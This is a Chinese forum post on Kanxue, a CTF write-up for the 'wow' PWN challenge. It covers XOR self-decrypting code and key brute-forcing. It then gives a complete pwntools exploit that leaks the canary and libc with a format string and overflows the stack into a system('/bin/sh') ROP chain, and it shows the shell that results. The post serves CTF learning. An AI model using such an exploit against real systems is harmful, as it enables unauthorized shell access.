首页
社区
课程
招聘
[原创] 京东-看雪 2018 - 春季赛 - 第三题 - PWN-wow
2018-6-21 23:28 3246

[原创] 京东-看雪 2018 - 春季赛 - 第三题 - PWN-wow

aqs 活跃值
5
2018-6-21 23:28
3246

比赛之前看到给了一个linux 的版本号

 

 

被吓到了,我靠,这不会是 kernel 题目吧,赶紧编了个一样版本的linux image

 

比赛开始后。。。

 

好吧,是我想多了

功能分析 & 漏洞分析

checksec 看一下

   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x400000)

64 位的程序,没有 开 PIE, relro partial

 

运行一下看看效果

***************************

2018 kanxue CTF

***************************

***************************

常记溪亭日暮,沉醉不知归路。

兴尽晚回舟,误入藕花深处。

争渡,争渡,惊起一滩鸥鹭。

                        --宋 李清照

***************************

1
[1]    111733 illegal hardware instruction (core dumped)  ./wow

出题人还来了一首诗,不过没有什么用, 可以输入一个字符串,输入完就报错了
一般报错都是segment fault 什么的, 这里确实 illegal hardware ??
换了一下输入

a
[1]    111829 segmentation fault (core dumped)  ./wow

报错信息变了,测试之后发现只能输入 6个byte 的字符,这样也看不出什么
ida 打开看看代码

 

main函数
main 函数 前面主要进行 setbuf 一些初始化的操作
调一个 welcome 函数打印那首诗,然后直接jump 到内存地址 0x400818
不过没有看到有可以输入的地方呀。。应该是和 jump 过去的地址有关

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi

  setbuf(stdin, 0LL);
  v3 = stdout;
  setbuf(stdout, 0LL);
  welcome(v3, 0LL);
  JUMPOUT(__CS__, 0x400818LL);
}

welcome 函数里面还有一个 ptrace 的系统调用, 主要用来反调试的

__int64 welcome()
{
  puts("***************************\n");

  .............................
  puts("***************************\n");
  return test();
}
// ----------------------------------------------//
signed __int64 test()
{
  signed __int64 result; // rax

  result = 101LL;
  __asm { syscall; LINUX - sys_ptrace }
  return result;
}

gdb 打开 , 直接 exit 退出了
__asm { syscall; LINUX - sys_ptrace } 这段 nop 掉即可

***************************

[Inferior 1 (process 111934) exited normally]

接下来到 0x400818 看看程序究竟干了什么

  • 首先是调用 了 mprotect 系统调用 将 0x400000 开始 0x1000 长度的地址编程 rwx 权限,也就是将代码段编程可写的啦
    .text:0000000000400816                 jmp     rax
    .text:0000000000400816 main            endp
    .text:0000000000400816
    .text:0000000000400818 ; ---------------------------------------------------------------------------
    .text:0000000000400818                 sar     rax, 0Ch        ; rax==0x400818
    .text:000000000040081C                 shl     rax, 0Ch
    .text:0000000000400820                 mov     rdi, rax        ; rdi=0x400000
    .text:0000000000400823                 mov     rdx, 7
    .text:000000000040082A                 mov     rax, 0Ah
    .text:0000000000400831                 mov     rsi, 1000h      ; mprotect(0x400000,0x1000,0x7)
    .text:0000000000400838                 syscall                 ; LINUX - sys_mprotect
    
  • 接下来调用 sys_read 系统调用 向 bss 段上读入6 个 byte 的字符,read 完之后调到当前指令地址+5 的位置
    .text:000000000040083A                 xor     rax, rax
    .text:000000000040083D                 mov     rdx, 6
    .text:0000000000400844                 push    rax             ; rax=0
    .text:0000000000400845                 lea     rax, szCh
    .text:000000000040084D                 mov     rsi, rax        ; rsi=szCh
    .text:0000000000400850                 pop     rax
    .text:0000000000400851                 mov     rdi, rax        ; sys_read(0,szCH,6)
    .text:0000000000400854                 syscall                 ; LINUX -
    .text:0000000000400856                 call    $+5
    
    okay 字符读进去了,接下来的才是主菜
  • 首先拿出 input 的第一个byte
  • 找到代码段,这里是 0x40087f 开始 的第一个 byte, 异或之后放回去
  • 有两层循环, 即 code[i-1]==0xfb && code[1]==0x90 才结束
    有点类似压缩壳,0x40087f 刚好是退出循环之后的第一个指令地址,也可以看到现在的指令乱七八糟的
    所以这里就有可能是 根据传入的 字符串,运行时对指令进行加密,就是这里异或的操作,如果输入的字符串正确,那么解密出来的指令也应该是正确的,就可以进入正确的逻辑,不然就会像开始那样 segment fault 或非法指令的提示了
    要确定输入的是什么也比较清晰,结合 code[i-1]==0xfb && code[1]==0x90 这个判断条件自己异或一下代码即可
    .text:000000000040085B L0_64:                                  ; 0x40085b
    .text:000000000040085B                 pop     rax
    .text:000000000040085C                 add     rax, 24h        ; 0x40087f
    .text:0000000000400860                 xor     rcx, rcx
    .text:0000000000400863                 mov     dl, [rsi+rcx]   ; rsi== szCh , rcx ==0  就是 dl == input[0]
    .text:0000000000400866
    .text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
    .text:0000000000400866                                         ; .text:000000000040087D↓j
    .text:0000000000400866                 mov     bl, [rax+rcx]
    .text:0000000000400869                 xor     bl, dl          ; rax = 0x40087f , rcx=0 , 读取代码段的一个 byte ?
    .text:000000000040086B                 mov     [rax+rcx], bl   ; code[i] = code[i] ^ input[0]
    .text:000000000040086E                 mov     dh, [rax+rcx-1] ; dh = code[i-1]
    .text:0000000000400872                 inc     rcx             ; i++
    .text:0000000000400875                 cmp     dh, 0FBh        ; code[i-1] ==0xfb ?
    .text:0000000000400878                 jz      short L1_64
    .text:000000000040087A                 cmp     bl, 90h         ; code[i] == 0x90 ?
    .text:000000000040087D                 jnz     short L1_64
    .text:000000000040087F                 sub     eax, 2D6D61E8h
    .text:0000000000400884                 db      48h
    .text:0000000000400884                 in      rax, 65h
    .text:0000000000400887                 db      65h, 65h
    .text:0000000000400887                 sub     eax, 79EFAC54h
    .text:000000000040088E                 insd
    
    写个py 测试一下
    暴力跑一下,不过结果好多。。
s=p.read()                                            
p.close()                                             
#                                                     
def check(c1,c2):                                     
    for i in range(256):                              
        if c1^i==0xfb and c2^i==0x90:                 
            print hex(c1),hex(c2),hex(i),chr(i) 

for i in range(0x87f,0xa30):                          
    check(ord(s[i-1]),ord(s[i]))                      
---------------------------------------------
0x9e 0xf5 0x65 e                 
0xe8 0x83 0x13 ^S                
0xb0 0xdb 0x4b K                 
0xde 0xb5 0x25 %                 
0xbf 0xd4 0x44 D                 
0x47 0xd7 0x93                   
0x82 0x12 0x56                   
0xb 0x9b 0xdf                    
0x7 0x97 0xd3                    
0x47 0xd7 0x93                   
0x22 0xb2 0xf6                   
0xcf 0x5f 0x1b                   
0xf 0x9f 0xdb                    
0xf 0x9f 0xdb                    
0xf 0x9f 0xdb

看到只有几个是可见字符的,试了一下 e, 结果居然真是 e..
先在 0x000000000040087d 下个断点, run 一下, 输入 e
这里是判断是否要跳出循环的地方, c 运行几次, 0x40087f 的地方的指令就会被还原

   0x40087a <main+230>    cmp    bl, 0x90               
 ► 0x40087d <main+233>  ✔ jne    main+210 <0x400866>    
    ↓                                                   
   0x400866 <main+210>    mov    bl, byte ptr [rax + rcx
   0x400869 <main+213>    xor    bl, dl

删除原来的断点, 然后再 0x40087f 下个断点,就可以调到解码后的代码的位置了

 ► 0x40087f <main+235>    lea    rax, [rax + rcx]                
   0x400883 <main+239>    sub    rax, 0x80                       
   0x400889 <main+245>    xor    rcx, rcx                        
   0x40088c <main+248>    mov    bl, byte ptr [rax + rcx]        
   0x40088f <main+251>    xor    bl, dl                          
   0x400891 <main+253>    mov    byte ptr [rax + rcx], bl        
   0x400894 <main+256>    inc    rcx                             
   0x400897 <main+259>    cmp    rcx, 0x20                       
   0x40089b <main+263>    jl     main+248 <0x40088c>

gdb dump 一下内存, 然后就可以用 ida 打开查看,dump 指令如下
将代码段的内容 dump 到 unz1 文件里面

pwndbg> dump binary memory unz1 0x400000 0x401000

ida 用 binary 格式打开, rebase 一下 segment 基地址到 0x400000, 跳到 0x40087f 按一下 c 转换成 代码
具体

edit => Segments => Rebase Program

okay 看一下加密之后的代码, 这里先 进行 0x20 次循环, 将 0x4008c9 代码开始 一个byte 一个 byte 和 input[0] 进行异或,这个是我们不能控制的,继续看下面

seg000:000000000040086B                 mov     [rax+rcx], bl
seg000:000000000040086E                 mov     dh, [rax+rcx-1]
seg000:0000000000400872                 inc     rcx
seg000:0000000000400875                 cmp     dh, 0FBh
seg000:0000000000400878                 jz      short loc_400866
seg000:000000000040087A                 cmp     bl, 90h
seg000:000000000040087D                 jnz     short loc_400866
seg000:000000000040087F                 lea     rax, [rax+rcx]  
seg000:0000000000400883                 sub     rax, 80h
seg000:0000000000400889                 xor     rcx, rcx
seg000:000000000040088C
seg000:000000000040088C loc_40088C:                             ; CODE XREF: seg000:000000000040089B↓j
seg000:000000000040088C                 mov     bl, [rax+rcx]
seg000:000000000040088F                 xor     bl, dl
seg000:0000000000400891                 mov     [rax+rcx], bl
seg000:0000000000400894                 inc     rcx
seg000:0000000000400897                 cmp     rcx, 20h
seg000:000000000040089B                 jl      short loc_40088C

下面 的 操作
dl = input[1]^input[0],后面还是和第一次解码一样同样的比较条件
好吧,再写个脚本试试

seg000:000000000040089D                 add     rax, 80h
seg000:00000000004008A3                 xor     rcx, rcx
seg000:00000000004008A6                 mov     dl, [rsi+rcx]
seg000:00000000004008A9                 inc     rsi
seg000:00000000004008AC                 xor     dl, [rsi+rcx]   ; input[1]^input[0]
seg000:00000000004008AF
seg000:00000000004008AF loc_4008AF:                             ; CODE XREF: seg000:00000000004008C1↓j
seg000:00000000004008AF                                         ; seg000:00000000004008C6↓j
seg000:00000000004008AF                 mov     bl, [rax+rcx]   ; 0x4008c9
seg000:00000000004008B2                 xor     bl, dl          ; 第二层循环解码
seg000:00000000004008B4                 mov     [rax+rcx], bl
seg000:00000000004008B7                 mov     dh, [rax+rcx-1]
seg000:00000000004008BB                 inc     rcx
seg000:00000000004008BE                 cmp     dh, 0FBh
seg000:00000000004008C1                 jz      short loc_4008AF ; 0x4008c9
seg000:00000000004008C3                 cmp     bl, 90h
seg000:00000000004008C6                 jnz     short loc_4008AF ; 0x4008c9
seg000:00000000004008C8                 nop

找到个 v, 感觉应该是可以直接计算偏移然后将整个程序解码出来的,但是因为这里只有 6 个 byte 的字符
自己用的是 gdb dump 内存, 然后查看对应的指令这样的做法

p=open('./unz1')                                                            
s=p.read()                                                                  
p.close()                                                                   

def check(c1,c2):                                                           
    for i in range(256):                                                    
        if c1^i==0xfb and c2^i==0x90:                                       
            print hex(c1),hex(c2),hex(i) ,hex(ord('e')^i),chr(ord('e')^i)   

for i in range(0x8c9,0x8c9+0x80):                                           
    check(ord(s[i-1]),ord(s[i]))  
----------
0xe8 0x83 0x13 0x76 v

最后解出来的 input 是 evXnaK, 运行一下程序,输入key, 就会输出一个 wow, 还有一个不明字符
可能是地址泄露了

evXnaK    
wow!      

��

看一下最后解码出来的代码, 代码有点长 总的来说就是

  • write(0,"wow",5)
  • read(0,rsp,0x1a)
  • printf(rsp)
  • read(0,[rsp-0x20],0x100)
  • mprotect 代码段不可写

前面基本上都可以说是在逆向,后面就是 pwn 的内容了,主要漏洞点在
printf 的时候直接打印了字符串,有格式化漏洞
然后 后面 read 函数 可以读 0x100 长度的 字符造成一个 stack overflow

seg000:00000000004009F8                 jl      short loc_4009E9
seg000:00000000004009FA                 mov     rax, 1
seg000:0000000000400A01                 mov     rdx, 5          ; write wow
seg000:0000000000400A08                 lea     rsi, ds:601058h ; write(0,0x601058,5)
seg000:0000000000400A10                 mov     rdi, rax        ; sys write
seg000:0000000000400A13                 syscall                 ; Low latency system call
seg000:0000000000400A15                 mov     edi, 0
seg000:0000000000400A1A                 call    sub_4005D0      ; fflush
seg000:0000000000400A1F                 cmp     rax, rax
seg000:0000000000400A22                 jnz     short near ptr loc_400A33+3
seg000:0000000000400A24                 call    $+5
seg000:0000000000400A29                 pop     rax
seg000:0000000000400A2A                 add     rax, 7
seg000:0000000000400A2E                 jmp     rax
seg000:0000000000400A30 ; ---------------------------------------------------------------------------
seg000:0000000000400A30                 xor     rax, rax
seg000:0000000000400A33
seg000:0000000000400A33 loc_400A33:                             ; CODE XREF: seg000:0000000000400A22↑j
seg000:0000000000400A33                 mov     rdx, 1Ah
seg000:0000000000400A3A                 mov     rsi, rsp
seg000:0000000000400A3D                 mov     ds:601088h, rsp
seg000:0000000000400A45                 mov     rdi, rax        ; read(0,rsp,0x1a)
seg000:0000000000400A48                 syscall                 ; Low latency system call
seg000:0000000000400A4A                 mov     rax, cs:601088h
seg000:0000000000400A51                 mov     rdi, rax
seg000:0000000000400A54                 mov     eax, 0
seg000:0000000000400A59                 call    sub_4005B0      ; printf(rsp)
seg000:0000000000400A5E                 xor     rax, rax
seg000:0000000000400A61                 mov     rdx, 200h
seg000:0000000000400A68                 lea     rsi, [rsp-20h]
seg000:0000000000400A6D                 mov     rdi, rax        ; read(0,rsp-0x20,0x20)
seg000:0000000000400A70                 syscall                 ; Low latency system call
seg000:0000000000400A72                 nop
seg000:0000000000400A73                 call    $+5
seg000:0000000000400A78                 pop     rax
seg000:0000000000400A79                 add     rax, 7
seg000:0000000000400A7D                 jmp     rax
seg000:0000000000400A7F ; ---------------------------------------------------------------------------
seg000:0000000000400A7F                 sar     rax, 0Ch
seg000:0000000000400A83                 shl     rax, 0Ch
seg000:0000000000400A87                 mov     rdi, rax
seg000:0000000000400A8A                 mov     rdx, 5
seg000:0000000000400A91                 mov     rax, 0Ah
seg000:0000000000400A98                 mov     rsi, 1000h      ; mprotect 将代码段编程不可写
seg000:0000000000400A9F                 syscall                 ; Low latency system call
seg000:0000000000400AA1                 mov     eax, 0
seg000:0000000000400AA6                 mov     rdx, [rbp-8]
seg000:0000000000400AAA                 xor     rdx, fs:28h
seg000:0000000000400AB3                 jz      short locret_400ABA
seg000:0000000000400AB5                 call    sub_400590
seg000:0000000000400ABA
seg000:0000000000400ABA locret_400ABA:                          ; CODE XREF: seg000:0000000000400AB3↑j
seg000:0000000000400ABA                 leave
seg000:0000000000400ABB                 retn

漏洞利用

okay 找到了一个 格式化和栈溢出,因为程序开了 canary, 又没有给libc,所以攻击的思路是

  • 格式化 泄露出 canary 以及 libc 的地址
  • 找到对应版本的libc, 计算system 地址
  • 直接 stack overflow 调用 system("/bin/sh") get shell

exp

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./wow'
libc_addr=''
host='139.199.99.130'
port=65188


p=process('./wow')
if len(sys.argv)==2:
    p=remote(host,port)


key='evXnaK'
payload=key
print p.recv()
p.send(payload)
print p.recv()
if len(sys.argv)==2:
    print p.recv()

time.sleep(0.1)
payload='%13$p.%15$p'
p.sendline(payload)
leak=p.recvline().strip().split('.')
canary=int(leak[0],16)
libc_start_main=int(leak[1],16)-240
libc_base=libc_start_main-0x000000000020740
print leak
offset=0x58
pop_rdi_ret=0x0000000000400b23
binsh_addr=libc_base+0x18cd57
system_addr=libc_base+0x000000000045390

payload='a'*offset
payload+=p64(canary)
payload+='a'*8
payload+=p64(pop_rdi_ret)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
p.sendline(payload)


p.info('libc_start_main :' +hex(libc_start_main))
p.info('canary :' +hex(canary))
p.info('libc_base : '+hex(libc_base))

raw_input('aaaa')
p.interactive()

执行效果

wow!                                                   

['0xefcd9268da147500', '0x7f4eac6c0830']               
[*] libc_start_main :0x7f4eac6c0740                    
[*] canary :0xefcd9268da147500                         
[*] libc_base : 0x7f4eac6a0000                         
aaaa                                                   
[*] Switching to interactive mode                      
$ ls                                                   
bin                                                    
dev                                                    
flag.txt                                               
lib                                                    
lib64                                                  
wow                                                    
$ cat flag.txt                                         
572416a82fa298b09b87f733d5483ba51                      
$

题目还是不错的,逆向渣渣的我学到了不少知识 :)


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2018-7-4 09:36 被aqs编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 146
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
catgray 2018-6-29 17:48
2
0
学习
游客
登录 | 注册 方可回帖
返回